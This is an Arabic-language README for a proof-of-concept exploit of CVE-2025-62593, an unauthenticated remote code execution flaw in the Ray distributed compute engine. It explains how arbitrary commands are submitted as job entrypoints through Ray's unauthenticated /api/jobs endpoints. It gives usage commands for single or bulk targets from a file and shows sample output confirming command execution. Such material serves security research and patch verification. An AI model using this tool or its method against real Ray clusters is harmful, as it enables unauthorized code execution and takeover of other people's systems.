
PoC لثغرة CVE-2025-62593: RCE بدون مصادقة في Ray (CISA KEV). بايثون باستخدام المكتبة القياسية فقط.
إثبات مفهوم لثغرة CVE-2025-62593، وهي ثغرة تنفيذ برمجي عن بُعد بدون مصادقة في محرك الحوسبة الموزعة للذكاء الاصطناعي Ray، يتم استغلالها عبر هجمات إعادة ربط DNS المستندة إلى المتصفح. وقد أُضيفت الثغرة إلى فهرس CISA للثغرات المستغلة المعروفة (KEV) ويتم استغلالها بنشاط.
يتمثل السبب الجذري في قرار تصميمي قديم من فريق Ray يقضي بعدم تشغيل أي مصادقة
على نقاط نهاية HTTP الحرجة مثل /api/jobs و /api/job_agent/jobs. ونتيجة لذلك،
يمكن لمهاجم عن بُعد غير مصادَق إرسال مهمة Ray يكون نقطة دخولها (entrypoint) أمرًا
اعتباطيًا، يتم تنفيذه بعد ذلك على العقدة الرئيسية للمجموعة — أي تنفيذ برمجي كامل عن بُعد.
يتواصل هذا الـ PoC مباشرةً مع HTTP API الخاص بلوحة تحكم Ray (دون الحاجة إلى متصفح/إعادة ربط DNS لإثبات الثغرة الأساسية) ويستعيد مخرجات الأوامر من سجلات المهمة.
POST /api/jobs/ مع entrypoint يشغّل أمرك ويلتقط مخرجاته
القياسية stdout/stderr في ملف مؤقت، ثم يطبع محتوى الملف مرة أخرى.GET /api/jobs/ حتى تصل المهمة إلى حالة نهائية.GET /api/jobs/<submission_id>/logs ويطبع مخرجات الأمر.# Single target
python3 ray_rce_poc.py --target http://HOST:8265
# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id
# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Help
python3 ray_rce_poc.py --help
يتطلب مكتبة Python 3 القياسية فقط — لا توجد تبعيات خارجية.
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
لأغراض البحث الأمني والاختبار المصرح به فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن إساءة الاستخدام.